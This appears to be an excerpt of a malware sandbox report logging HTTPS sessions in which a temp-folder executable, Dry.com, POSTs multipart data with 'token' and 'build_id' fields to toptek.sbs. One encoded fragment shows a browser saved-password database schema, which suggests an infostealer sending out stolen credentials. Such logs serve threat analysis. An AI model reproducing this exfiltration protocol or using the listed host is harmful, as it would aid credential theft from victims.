2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49917	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:02 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LNGLXT00ZU3E3EK6FKNG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:02 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4c 4e 47 4c 58 54 30 30 5a 55 33 45 33 45 4b 36 46 4b 4e 47 0d 0a 43 6f 6e 74 Data Ascii: ------LNGLXT00ZU3E3EK6FKNGContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------LNGLXT00ZU3E3EK6FKNGContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------LNGLXT00ZU3E3EK6FKNGCont
2024-12-21 09:16:02 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:02 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:02 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49923	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:04 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q16P8YU3EKFU3EKNYMGL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 31 36 50 38 59 55 33 45 4b 46 55 33 45 4b 4e 59 4d 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 51 31 36 50 38 59 55 33 45 4b 46 55 33 45 4b 4e 59 4d 47 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 51 31 36 50 38 59 55 33 45 4b 46 55 33 45 4b 4e 59 4d 47 4c 0d 0a 43 6f 6e 74 Data Ascii: ------Q16P8YU3EKFU3EKNYMGLContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------Q16P8YU3EKFU3EKNYMGLContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------Q16P8YU3EKFU3EKNYMGLCont
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
